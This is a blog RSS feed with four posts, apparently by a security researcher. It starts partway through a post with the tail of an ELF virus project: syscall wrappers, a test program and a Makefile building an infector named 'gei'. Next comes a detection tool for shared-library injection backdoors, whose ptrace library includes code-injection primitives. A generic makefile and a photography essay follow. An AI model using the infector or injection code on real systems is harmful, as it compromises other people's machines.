unsigned long st_dev;<br>
unsigned long st_ino;<br>
unsigned short st_mode;<br>
unsigned short st_nlink;<br>
unsigned short st_uid;<br>
unsigned short st_gid;<br>
unsigned long st_rdev;<br>
unsigned long st_size;<br>
unsigned long st_blksize;<br>
unsigned long st_blocks;<br>
unsigned long st_atime;<br>
unsigned long st_atime_nsec;<br>
unsigned long st_mtime;<br>
unsigned long st_mtime_nsec;<br>
unsigned long st_ctime;<br>
unsigned long st_ctime_nsec;<br>
unsigned long __unused4;<br>
unsigned long __unused5;<br>
};<br>
<br>
static inline g_syscall3(int, write, int, fd, const void *, buf,
off_t, count);<br>
static inline g_syscall3(int, getdents, uint, fd, struct dirent *,
dirp, uint, count);<br>
static inline g_syscall3(int, open, const char *, file, int, flag,
int, mode);<br>
static inline g_syscall1(int, close, int, fd);<br>
static inline g_syscall6(void *, mmap2, void *, addr, size_t, len,
int, prot,<br>
int, flags, int, fd, off_t, offset);<br>
static inline g_syscall2(int, munmap, void *, addr, size_t,
len);<br>
static inline g_syscall2(int, rename, const char *, oldpath, const
char *, newpath);<br>
static inline g_syscall2(int, fstat, int, filedes, struct stat *,
buf);<br>
<br>
static inline void * __memcpy(void * to, const void * from, size_t
n)<br>
{<br>
int d0, d1, d2;<br>
__asm__ __volatile__(<br>
"rep ; movsl\n\t"<br>
"testb $2,%b4\n\t"<br>
"je 1f\n\t"<br>
"movsw\n"<br>
"1:\ttestb $1,%b4\n\t"<br>
"je 2f\n\t"<br>
"movsb\n"<br>
"2:"<br>
: "=&amp;c" (d0), "=&amp;D" (d1), "=&amp;S" (d2)<br>
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)<br>
: "memory");<br>
return (to);<br>
}<br>
<br>
#endif /* _G2_SYSCALL_ */<br>
------------------------------ gsyscall.h
------------------------------<br>
<br>
编译和测试程序<br>
<br>
------------------------------ foo.c
------------------------------<br>
#include &lt;stdio.h&gt;<br>
<br>
int main()<br>
{<br>
puts("real elf point");<br>
return 0;<br>
}<br>
------------------------------ foo.c
------------------------------<br>
<br>
------------------------------ Makefile
------------------------------<br>
all: foo gei<br>
gei: g-elf-infector.c gvirus.o<br>
gcc -O2 $&lt; gvirus.o -o gei -Wall -DNDEBUG<br>
foo: foo.c<br>
gcc $&lt; -o foo<br>
gvirus.o: gvirus.c<br>
gcc $&lt; -O2 -c -o gvirus.o -fomit-frame-pointer -Wall
-DNDEBUG<br>
clean:<br>
rm *.o -rf<br>
rm foo -rf<br>
rm gei -rf<br>
------------------------------ Makefile
------------------------------
]]></description><guid>http://www.i170.com/Article/8651</guid><trackback:ping>http://www.i170.com/Article/8651/trackback</trackback:ping><comments>http://www.i170.com/Article/8651#comment</comments><wfw:commentRss>http://www.i170.com/Article/8651/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/8650</link><title><![CDATA[injectso finder v0.0.1- 共享库注射探测工具]]></title><author>grip2</author><category>网络安全</category><pubDate>Thu, 24 Nov 2005 17:21:07  +0800</pubDate><description><![CDATA[injectso finder 是一个针对于使用共享库注射技术的后门的探测工具，现在的版本是0.0.1，也就说是它还很简陋。<br>
目前这个版本的思路就是将指定进程使用的共享库和其对应的二进制文件中指明需要的共享库都打印出来，供使用者比对。一般来讲，二进制文件共享库列
表中出现的库在进程中没有出现应该不算异常，但是如果进程中出现的库在二进制文件共享库列表中不存在，就需要注意了，那很可能就是一个injectso加
载的共享库。<br>
<br>
/*<br>
* injectso-finder v0.0.1 (2004/12/21)<br>
* written by grip2 &lt;gript2@hotmail.com&gt;<br>
*/<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#define _GNU_SOURCE<br>
#include &lt;string.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;unistd.h&gt;<br>
<br>
#include "gelf.h"<br>
#include "gptrace.h"<br>
<br>
extern void *memmem(const void *haystack, size_t haystacklen,<br>
const void *needle, size_t needlelen);<br>
static void usage(void);<br>
static char *get_file_by_pid(pid_t pid);<br>
<p class="partingline">[separator]</p>
<br>
int main(int argc, char *argv[])<br>
{<br>
pid_t pid;<br>
char *pchar;<br>
char *filename;<br>
<br>
printf("injectso finder v0.0.1 written by grip2
&lt;gript2@hotmail.com&gt;\n");<br>
<br>
if (argc != 2)<br>
usage();<br>
<br>
pid = strtol(argv[1], &amp;pchar, 10);<br>
if (*pchar != '\0')<br>
usage();<br>
<br>
/* Runtime process */<br>
ptrace_attach(pid);<br>
print_sharelib_runtime(pid);<br>
ptrace_detach(pid);<br>
<br>
/* Binary file */<br>
if ((filename = get_file_by_pid(pid)) != NULL) {<br>
print_sharelib(filename);<br>
}<br>
else {<br>
fprintf(stderr, "[** ALERT] Can't locate binary file\n");<br>
}<br>
free(filename);<br>
<br>
return 0;<br>
}<br>
<br>
void usage(void)<br>
{<br>
fprintf(stderr, "Usage: ./injectso-finder pid\n");<br>
exit(1);<br>
}<br>
<br>
char *get_file_by_pid(pid_t pid)<br>
{<br>
int fd = -1;<br>
char file[256];<br>
char *path;<br>
char environ[32], cmdline[32];<br>
char buff[4096];<br>
char *filename;<br>
int ret;<br>
<br>
snprintf(environ, sizeof(environ), "/proc/%d/environ", pid);<br>
snprintf(cmdline, sizeof(cmdline), "/proc/%d/cmdline", pid);<br>
<br>
/* Get file */<br>
fd = open(cmdline, O_RDONLY);<br>
if (fd == -1) {<br>
perror(cmdline);<br>
goto err;<br>
}<br>
<br>
ret = read(fd, file, sizeof(file) - 1);<br>
if (ret == -1) {<br>
perror(cmdline);<br>
goto err;<br>
}<br>
file[ret] = '\0';<br>
close(fd);<br>
<br>
/* Get path */<br>
fd = open(environ, O_RDONLY);<br>
if (fd == -1) {<br>
perror(environ);<br>
goto err;<br>
}<br>
<br>
ret = read(fd, buff, sizeof(buff) - 1);<br>
if (ret == -1) {<br>
perror(environ);<br>
goto err;<br>
}<br>
buff[ret] = '\0';<br>
close(fd);<br>
<br>
path = (char *) memmem(buff, ret, "PWD=", 4);<br>
if (path == NULL) {<br>
goto err;<br>
}<br>
path += 4;<br>
<br>
filename = (char *) malloc(strlen(path)+strlen(file)+2);<br>
if (!filename)<br>
goto err;<br>
<br>
sprintf(filename, "%s/%s", path, file);<br>
return filename;<br>
err:<br>
if (fd != -1) close(fd);<br>
return NULL;<br>
}<br>
<br>
------------------------------------------------------------------------------------------------------<br>
<br>
<strong>gelf.h<br>
<br></strong> #ifndef _G2_ELF_API_<br>
#define _G2_ELF_API_<br>
<br>
int print_sharelib_runtime(pid_t pid);<br>
int print_sharelib(char *filename);<br>
<br>
#endif<br>
<br>
------------------------------------------------------------------------------------------------------<br>
<br>
/*<br>
* gelf.c (2004)<br>
* written by grip2 &lt;gript2@hotmail.com&gt;<br>
*/<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;link.h&gt;<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;unistd.h&gt;<br>
<br>
#include "gelf.h"<br>
#include "gptrace.h"<br>
<br>
#define IMAGE_ADDR 0x08048000<br>
<br>
static struct link_map * get_linkmap(pid_t pid)<br>
{<br>
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));<br>
Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));<br>
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));<br>
Elf32_Word got;<br>
unsigned long phdr_addr,dyn_addr,map_addr;<br>
struct link_map *map = (struct link_map *) malloc(sizeof(struct
link_map));<br>
int i = 0;<br>
<br>
ptrace_read(pid, IMAGE_ADDR, ehdr, sizeof(Elf32_Ehdr));<br>
phdr_addr = IMAGE_ADDR + ehdr-&gt;e_phoff;<br>
<br>
ptrace_read(pid, phdr_addr, phdr, sizeof(Elf32_Phdr));<br>
while(phdr-&gt;p_type != PT_DYNAMIC)<br>
ptrace_read(pid, phdr_addr += sizeof(Elf32_Phdr), phdr,
sizeof(Elf32_Phdr));<br>
dyn_addr = phdr-&gt;p_vaddr;<br>
<br>
ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));<br>
while(dyn-&gt;d_tag != DT_PLTGOT) {<br>
ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn,
sizeof(Elf32_Dyn));<br>
i++;<br>
}<br>
<br>
got = (Elf32_Word) dyn-&gt;d_un.d_ptr;<br>
got += 4;<br>
<br>
ptrace_read(pid, got, &amp;map_addr, 4);<br>
ptrace_read(pid, map_addr, map, sizeof(struct link_map));<br>
<br>
free(ehdr);<br>
free(phdr);<br>
free(dyn);<br>
return map;<br>
}<br>
<br>
int print_sharelib_runtime(pid_t pid)<br>
{<br>
struct link_map *lm = (struct link_map *) malloc(sizeof(struct
link_map));<br>
char *str;<br>
<br>
printf("-------- runtime process --------\n");<br>
printf("PROCESS ID: [%d]\n", pid);<br>
<br>
lm = get_linkmap(pid);<br>
if (!lm) return -1;<br>
<br>
#if 0<br>
str = ptrace_readstr(pid, (unsigned long) lm-&gt;l_name);<br>
printf("[%s]\n", str);<br>
free(str);<br>
#endif<br>
<br>
if (!lm-&gt;l_next) return -1;<br>
<br>
ptrace_read(pid, (unsigned long) lm-&gt;l_next, lm, sizeof(struct
link_map));<br>
while(lm-&gt;l_next) {<br>
ptrace_read(pid, (unsigned long) lm-&gt;l_next, lm, sizeof(struct
link_map));<br>
<br>
str = ptrace_readstr(pid, (unsigned long) lm-&gt;l_name);<br>
printf("[%s]\n", str);<br>
free(str);<br>
}<br>
<br>
printf("------------ end ------------\n");<br>
return 0;<br>
}<br>
<br>
int print_sharelib(char *filename)<br>
{<br>
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));<br>
Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));<br>
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));<br>
Elf32_Addr strtab = 0;<br>
unsigned int needed[64];<br>
int needed_count = 0;<br>
char str[1024];<br>
int fd = -1;<br>
int i, res;<br>
unsigned long dyn_segment_offset = 0;<br>
unsigned long interp_segment_offset = 0;<br>
<br>
printf("---------- binary file ----------\n");<br>
printf("BINARY FILE: [%s]\n", filename);<br>
<br>
fd = open(filename, O_RDONLY);<br>
if (fd == -1) {<br>
perror(filename);<br>
goto err;<br>
}<br>
<br>
read(fd, ehdr, sizeof(Elf32_Ehdr));<br>
<br>
lseek(fd, ehdr-&gt;e_phoff, SEEK_SET);<br>
for (i = 0; i &lt; ehdr-&gt;e_phnum; i++) {<br>
read(fd, phdr, sizeof(Elf32_Phdr));<br>
if (phdr-&gt;p_type == PT_INTERP) {<br>
interp_segment_offset = phdr-&gt;p_offset;<br>
}<br>
else if (phdr-&gt;p_type == PT_DYNAMIC) {<br>
dyn_segment_offset = phdr-&gt;p_offset;<br>
}<br>
}<br>
<br>
/* dynamic segment */<br>
lseek(fd, dyn_segment_offset, SEEK_SET);<br>
res = read(fd, dyn, sizeof(Elf32_Dyn));<br>
while(res == sizeof(Elf32_Dyn) &amp;&amp; dyn-&gt;d_tag) {<br>
switch (dyn-&gt;d_tag) {<br>
case DT_NEEDED:<br>
if (needed_count &lt; sizeof(needed)/sizeof(needed[0]))<br>
needed[needed_count++] = dyn-&gt;d_un.d_val;<br>
else<br>
fprintf(stderr, "[** ALERT] Too many sharelib!\n");<br>
break;<br>
case DT_STRTAB:<br>
strtab = dyn-&gt;d_un.d_ptr;<br>
break;<br>
default:<br>
break;<br>
}<br>
<br>
res = read(fd, dyn, sizeof(Elf32_Dyn));<br>
}<br>
<br>
for (i = 0; i &lt; needed_count; i++) {<br>
lseek(fd, strtab-IMAGE_ADDR+needed[i], SEEK_SET);<br>
res = read(fd, str, sizeof(str)-1);<br>
if (res &gt; 0) {<br>
str[res] ='\0';<br>
printf("[%s]\n", str);<br>
}<br>
}<br>
<br>
/* interpreter segment */<br>
lseek(fd, interp_segment_offset, SEEK_SET);<br>
res = read(fd, str, sizeof(str)-1);<br>
if (res &gt; 0) {<br>
str[res] ='\0';<br>
printf("[%s]\n", str);<br>
}<br>
<br>
free(ehdr);<br>
free(phdr);<br>
free(dyn);<br>
close(fd);<br>
printf("------------ end ------------\n");<br>
return 0;<br>
err:<br>
if (fd != -1)<br>
close(fd);<br>
printf("------------ end ------------\n");<br>
return -1;<br>
}<br>
<br>
-----------------------------------------------------------------------------------------------<br>
<br>
<strong>gptrace.h<br>
<br></strong> #ifndef _G2_PTRACE_API_<br>
#define _G2_PTRACE_API_<br>
<br>
#include &lt;sys/ptrace.h&gt;<br>
#include &lt;wait.h&gt;<br>
#include &lt;sys/user.h&gt;<br>
#include &lt;errno.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdio.h&gt;<br>
<br>
extern void ptrace_attach(int pid);<br>
extern void ptrace_cont(int pid);<br>
extern void ptrace_detach(int pid);<br>
extern void ptrace_write(int pid, unsigned long addr, void *vptr,
int len);<br>
extern void ptrace_read(int pid, unsigned long addr, void *vptr,
int len);<br>
extern char * ptrace_readstr(int pid, unsigned long addr);<br>
extern void ptrace_readreg(int pid, struct user_regs_struct
*regs);<br>
extern void ptrace_writereg(int pid, struct user_regs_struct
*regs);<br>
extern void * ptrace_push(int pid, void *paddr, int size);<br>
extern void ptrace_call(int pid, unsigned long addr);<br>
extern void restart_syscall(void);<br>
<br>
#endif<br>
<br>
-----------------------------------------------------------------------------------------------<br>
<br>
/*<br>
* gptrace.c (2002)<br>
* written by grip2 &lt;gript2@hotmail.com&gt;<br>
*/<br>
<br>
#include "gptrace.h"<br>
<br>
struct user_regs_struct oldregs;<br>
<br>
void ptrace_attach(pid_t pid)<br>
{<br>
if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) &lt; 0) {<br>
perror("ptrace_attach");<br>
exit(-1);<br>
}<br>
<br>
waitpid(pid, NULL, WUNTRACED);<br>
<br>
ptrace_readreg(pid, &amp;oldregs);<br>
#if 0<br>
restart_syscall();<br>
#endif<br>
}<br>
<br>
void ptrace_cont(pid_t pid)<br>
{<br>
int stat;<br>
<br>
if(ptrace(PTRACE_CONT, pid, NULL, NULL) &lt; 0) {<br>
perror("ptrace_cont");<br>
exit(-1);<br>
}<br>
<br>
while(!WIFSTOPPED(stat))<br>
waitpid(pid, &amp;stat, WNOHANG);<br>
}<br>
<br>
void ptrace_detach(pid_t pid)<br>
{<br>
ptrace_writereg(pid, &amp;oldregs);<br>
<br>
if(ptrace(PTRACE_DETACH, pid, NULL, NULL) &lt; 0) {<br>
perror("ptrace_detach");<br>
exit(-1);<br>
}<br>
}<br>
<br>
void ptrace_write(pid_t pid, unsigned long addr, void *vptr, int
len)<br>
{<br>
int count;<br>
long word;<br>
<br>
count = 0;<br>
<br>
while(count &lt; len) {<br>
memcpy(&amp;word, vptr + count, sizeof(word));<br>
word = ptrace(PTRACE_POKETEXT, pid, addr + count, word);<br>
count += 4;<br>
<br>
if(errno != 0)<br>
printf("ptrace_write failed\t %ld\n", addr + count);<br>
}<br>
}<br>
<br>
void ptrace_read(pid_t pid, unsigned long addr, void *vptr, int
len)<br>
{<br>
int i,count;<br>
long word;<br>
unsigned long *ptr = (unsigned long *)vptr;<br>
<br>
i = count = 0;<br>
<br>
while (count &lt; len) {<br>
word = ptrace(PTRACE_PEEKTEXT, pid, addr + count, NULL);<br>
count += 4;<br>
ptr[i++] = word;<br>
}<br>
}<br>
<br>
char * ptrace_readstr(pid_t pid, unsigned long addr)<br>
{<br>
char *str = (char *) malloc(64);<br>
int i,count;<br>
long word;<br>
char *pa;<br>
<br>
i = count = 0;<br>
pa = (char *)&amp;word;<br>
<br>
while(i &lt;= 60) {<br>
word = ptrace(PTRACE_PEEKTEXT, pid, addr + count, NULL);<br>
count += 4;<br>
<br>
if (pa[0] == '\0') {<br>
str[i] = '\0';<br>
break;<br>
}<br>
else<br>
str[i++] = pa[0];<br>
<br>
if (pa[1] == '\0') {<br>
str[i] = '\0';<br>
break;<br>
}<br>
else<br>
str[i++] = pa[1];<br>
<br>
if (pa[2] == '\0') {<br>
str[i] = '\0';<br>
break;<br>
}<br>
else<br>
str[i++] = pa[2];<br>
<br>
if (pa[3] == '\0') {<br>
str[i] = '\0';<br>
break;<br>
}<br>
else<br>
str[i++] = pa[3];<br>
}<br>
<br>
return str;<br>
}<br>
<br>
<br>
void ptrace_readreg(pid_t pid, struct user_regs_struct *regs)<br>
{<br>
if(ptrace(PTRACE_GETREGS, pid, NULL, regs))<br>
printf("*** ptrace_readreg error ***\n");<br>
<br>
}<br>
<br>
<br>
void ptrace_writereg(pid_t pid, struct user_regs_struct *regs)<br>
{<br>
if(ptrace(PTRACE_SETREGS, pid, NULL, regs))<br>
printf("*** ptrace_writereg error ***\n");<br>
}<br>
<br>
<br>
void * ptrace_push(pid_t pid, void *paddr, int size)<br>
{<br>
unsigned long esp;<br>
struct user_regs_struct regs;<br>
<br>
ptrace_readreg(pid, &amp;regs);<br>
esp = regs.esp;<br>
esp -= size;<br>
esp = esp - esp % 4;<br>
regs.esp = esp;<br>
<br>
ptrace_writereg(pid, &amp;regs);<br>
<br>
ptrace_write(pid, esp, paddr, size);<br>
<br>
return (void *)esp;<br>
}<br>
<br>
<br>
void ptrace_call(pid_t pid, unsigned long addr)<br>
{<br>
void *pc;<br>
struct user_regs_struct regs;<br>
int stat;<br>
void *pra;<br>
<br>
pc = (void *) 0x41414140;<br>
pra = ptrace_push(pid, &amp;pc, sizeof(pc));<br>
<br>
ptrace_readreg(pid, &amp;regs);<br>
regs.eip = addr;<br>
ptrace_writereg(pid, &amp;regs);<br>
<br>
ptrace_cont(pid);<br>
<br>
while(!WIFSIGNALED(stat))<br>
waitpid(pid, &amp;stat, WNOHANG);<br>
}<br>
<br>
<br>
void restart_syscall(void)<br>
{<br>
if (oldregs.eax != oldregs.orig_eax &amp;&amp; oldregs.orig_eax !=
0xffffff00)<br>
{<br>
oldregs.eip -= 2;<br>
oldregs.eax = oldregs.orig_eax;<br>
}<br>
}<br>
<br>
<br>
void ptrace_call_special(pid_t pid, unsigned long addr)<br>
{<br>
void *pc;<br>
struct user_regs_struct regs;<br>
int stat;<br>
void *pra;<br>
<br>
pc = (void *) 0x41414140;<br>
pra = ptrace_push(pid, &amp;pc, sizeof(pc));<br>
<br>
ptrace_readreg(pid, &amp;regs);<br>
regs.eip = addr;<br>
ptrace_writereg(pid, &amp;regs);<br>
<br>
ptrace_cont(pid);<br>
ptrace_detach(pid);<br>
stat = 0;<br>
while(!WIFSIGNALED(stat))<br>
waitpid(pid, &amp;stat, WNOHANG);<br>
}<br>
<br>
<br>
void ptrace_attach_special(pid_t pid)<br>
{<br>
void *pc;<br>
void *pra;<br>
<br>
if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) &lt; 0) {<br>
perror("ptrace_attach");<br>
exit(-1);<br>
}<br>
<br>
waitpid(pid, NULL, WUNTRACED);<br>
pc = (void *) 0x41414140;<br>
pra = ptrace_push(pid, &amp;pc, sizeof(pc));<br>
}<br>
<br>
<br>
<br>
-----------------------------------------------------------------------------------------------<br>
<br>
OBJ=gptrace.o gelf.o<br>
<br>
all: injectso-finder<br>
injectso-finder: injectso-finder.c $(OBJ)<br>
gcc -O2 $&lt; -o $@ -Wall $(OBJ)<br>
gptrace.o: gptrace.c<br>
gcc -O2 $&lt; -c -o $@ -Wall<br>
gelf.o: gelf.c<br>
gcc -O2 $&lt; -c -o $@ -Wall<br>
clean:<br>
rm *.o -rf<br>
rm injectso-finder -rf<br>
]]></description><guid>http://www.i170.com/Article/8650</guid><trackback:ping>http://www.i170.com/Article/8650/trackback</trackback:ping><comments>http://www.i170.com/Article/8650#comment</comments><wfw:commentRss>http://www.i170.com/Article/8650/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/8649</link><title><![CDATA[Generic makefile - 通用的makefile]]></title><author>grip2</author><category></category><pubDate>Thu, 24 Nov 2005 17:08:52  +0800</pubDate><description><![CDATA[######################################<br>
#<br>
# Generic makefile<br>
#<br>
# by George Foot<br>
# email: george.foot@merton.ox.ac.uk<br>
#<br>
# Copyright (c) 1997 George Foot<br>
# All rights reserved.<br>
#<br>
# No warranty, no liability;<br>
# you use this at your own risk.<br>
#<br>
# You are free to modify and<br>
# distribute this without giving<br>
# credit to the original author.<br>
#<br>
######################################<br>
<br>
# Modified by Grip2 &lt;chenyu@venustech.com.cn&gt;<br>
<p class="partingline">[separator]</p>
<br>
### Customising<br>
#<br>
# Adjust the following if necessary; EXECUTABLE is the target<br>
# executable's filename, and LIBS is a list of libraries to link
in<br>
# (e.g. alleg, stdcx, iostr, etc). You can override these on
make's<br>
# command line of course, if you prefer to do it that way.<br>
#<br>
<br>
EXECUTABLE := dt<br>
LIBS := pcap dl iconv<br>
<br>
# Now alter any implicit rules' variables if you like, e.g.:<br>
<br>
CC := gcc<br>
CFLAGS := -Wall -O2 -Iinclude/ -Werror<br>
CXXFLAGS := $(CFLAGS)<br>
<br>
# You shouldn't need to change anything below this point.<br>
<br>
SOURCE := $(wildcard *.c */*.c */*/*.c */*/*/*.c)<br>
OBJS := $(patsubst %.c,%.o,$(SOURCE))<br>
DEPS := $(patsubst %.o,%.d,$(OBJS))<br>
MISSING_DEPS := $(filter-out $(wildcard $(DEPS)),$(DEPS))<br>
MISSING_DEPS_SOURCES := $(wildcard $(patsubst
%.d,%.c,$(MISSING_DEPS)))<br>
CPPFLAGS += -MD<br>
<br>
.PHONY : everything deps objs clean veryclean rebuild<br>
<br>
everything:$(EXECUTABLE)<br>
<br>
deps:$(DEPS)<br>
<br>
objs:$(OBJS)<br>
<br>
clean:<br>
&nbsp;&nbsp;&nbsp; rm $(EXECUTABLE) -rf<br>
&nbsp;&nbsp;&nbsp; find ./ -name *.o -print -exec rm {} \;<br>
&nbsp;&nbsp;&nbsp; find ./ -name *.d -print -exec rm {} \;<br>
<br>
rebuild : veryclean everything<br>
<br>
ifneq ($(MISSING_DEPS),)<br>
$(MISSING_DEPS) :<br>
&nbsp;&nbsp;&nbsp; rm $(patsubst %.d,%.o,$@) -rf<br>
endif<br>
<br>
-include $(DEPS)<br>
<br>
$(EXECUTABLE) : $(OBJS)<br>
&nbsp;&nbsp;&nbsp; gcc -o $(EXECUTABLE) $(OBJS) $(addprefix
-l,$(LIBS))<br>
<br>
]]></description><guid>http://www.i170.com/Article/8649</guid><trackback:ping>http://www.i170.com/Article/8649/trackback</trackback:ping><comments>http://www.i170.com/Article/8649#comment</comments><wfw:commentRss>http://www.i170.com/Article/8649/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/8648</link><title><![CDATA[Where does creativity come from?]]></title><author>grip2</author><category></category><pubDate>Thu, 24 Nov 2005 17:08:04  +0800</pubDate><description><![CDATA[WHERE DOES CREATIVITY COME FROM?<br>
<br>
By Michael Orton<br>
<br>
Adapted with permission from Photographing Creative Landscapes, by
Michael Orton. Amherst Media, 2001.<br>
<br>
What is it? Why do some people have it? Why don't I? These are all
perfectly normal, expected questions that we ask ourselves in
search of the seemingly intangible. There has long been a
misconception that creativity could not be taught, that it was
something inherited. The conclusion was that if you were not
spontaneously producing "creative" work, you weren't creative, and
there was no point in your trying. Truthfully, although there are
individuals who are able to rise to higher levels than others,
creative potential exists in everyone, and the height to which a
person's creativity soars is determined largely by desire,
dedication, and persistence. Creativity does not just happen; we
make it happen.<br>
<p class="partingline">[separator]</p>
<br>
Creativity...its definition will be a little different for each of
us, but be aware that it is ongoing.&nbsp; It is the search, the
trip, and not the destination. Creative photography is the freedom
to explore, uninhibited, the multitude of relationships between the
camera, lens, film, light, subjects, and ourselves. It involves
abandoning some of our preconceptions and going beyond the assumed
boundaries of a photograph.<br>
<br>
You may feel that creativity is "over there" somewhere--out of your
reach. Begin to think of creativity as a ladder, and move one rung
at a time.&nbsp; This is not an ordinary ladder, for as we ascend,
our grasp on creativity becomes more tangible.&nbsp; The ladder's
end disappears into the distance. Do not despair; this is good! I
call this the "creative climb effect." The more we explore,
experiment, and experience, the more creative inspiration we
gather. We are compelled to explore further, to experiment, and to
experience more steps. The lower rungs begin to pass by quickly
once your climb begins, and it doesn't hurt to look back (or down)
and acknowledge this. Realize that your imagery has changed and
will continue to evolve. Creativity for photographers is the
recognition and realization of our own curiosity!<br>
<br>
My first camera, a 35mm SLR, was a thirty-seventh birthday gift and
came with only a small booklet of instructions. I was intimidated
and tentative, but curious enough to load it with film to see what
would happen. How could this inanimate object see so well? There
were all kinds of things in those pictures that I didn't put there.
I examined stones, bugs, sticks, weeds, and puddles, but was far
too overwhelmed to consider the larger landscape. This was
object-oriented imagery at its worst. I continued for some months
until another gift appeared, a book by Canada's foremost creative
photographer, Freeman Patterson. The images were stunning! I poured
repeatedly over them, attempting to unlock the secrets of how such
visual perfection had occurred--or, more correctly, been created.
From somewhere a distant voice whispered to me, "This is it!"&nbsp;
Unknowingly, I was on the ladder.<br>
<br>
If there was a photo club in town, I was unaware of it, but for
some unexplained reason (could photography be art?), I attended the
meetings and shows of the local art community. They talked about
the world they saw in terms of tones, hues, edges, negative space,
shadow, power, subtlety, saturation, pastels, motion, strokes,
etchings and washes. All of these techniques were unfamiliar to me,
but I listened and watched, intent on working in the same fashion
with photography. Why not? While in this stage of absorbing the
world in new ways and with my camera in hand, I hungrily devoured
all available photographic images and other two-dimensional art.
Inspired by my new insight, I made a decision.&nbsp;<br>
<br>
THE CREATIVE CHOICE<br>
<br>
"Creativity" may be the word photographers use most, and yet, one
they act upon reluctantly and tentatively at best. We are great
"tech-tip grabbers" and gadget collectors, trying to emulate the
pro sponsors and promoters of our next must-have consumer
revelation. The creative vision we occasionally conjure is too
often mired in rules and guidelines enforced and propagated by
other photographers and "formula" editors.<br>
<br>
Let's be honest.&nbsp; As creative visionary artists, we
photographers are too often the anchor, and not the ship of
discovery we think we are (or would like to be). Where does this
leave us? What are our options?&nbsp;<br>
<br>
THE COMMITMENT<br>
<br>
Can you repeat with conviction "From this day forth I will be as
creative as I possibly can with my vision (how I perceive), and
imagination (how I respond)"?&nbsp; If you take this dedication of
purpose lightly and remember to use it only occasionally, then its
effect on your creativity will be proportionate. Consider this if
it helps: You don't have to erase the photographic knowledge and
background you may have at this point, but instead, think in terms
of supplementing and expanding upon the way you currently see and
respond. This is the first step toward creativity, but also the
most difficult. Falling back on safe and established methods can
happen all too easily, and in fact, often will. Over the years, I
have regularly had to stop and redirect my thoughts if I wanted to
experience the challenge of new discoveries.<br>
<br>
Your creative effort may be misunderstood, even unappreciated by
some whose only measurement for successful photographic images is
that they be sharp, unmanipulated reflections of what is called the
real world. This view has some merit, depending on the intended use
of the image, but by the mere use of our cameras, we have already
affected the viewers' responses to the subject. Choice of film,
lens, shutter speed, and aperture, selection and abstraction from
the whole scene, and use of specific angle and qualities of light
are, in fact, the photographer's desired interpretations.
Professionals--photographers who have chosen to seek remuneration
for their work--have set themselves on a sort of tightrope,
attempting to satisfy editors, make sales, and achieve inner
satisfaction. Can creativity exist in such conditions?<br>
<br>
Contrary to what one might expect, my own experience in the world
of stock photography tells me that it can. As a matter of fact,
creativity is a necessity for survival. One must evolve or perish!
When I find myself tightening up under the stress of travel and
expectations for images not yet found, I recognize that it is time
to take a step back, to remove the notion of price tags and
clients' needs from my mind. It is time to reexamine where I came
from and why, and once again, to exercise creativity for the pure
joy and exhilaration of it! Ultimately, we are creative for
ourselves. If this is not the case, creativity will suffer. It will
wither away.
]]></description><guid>http://www.i170.com/Article/8648</guid><trackback:ping>http://www.i170.com/Article/8648/trackback</trackback:ping><comments>http://www.i170.com/Article/8648#comment</comments><wfw:commentRss>http://www.i170.com/Article/8648/commentRss</wfw:commentRss></item> </channel></rss>
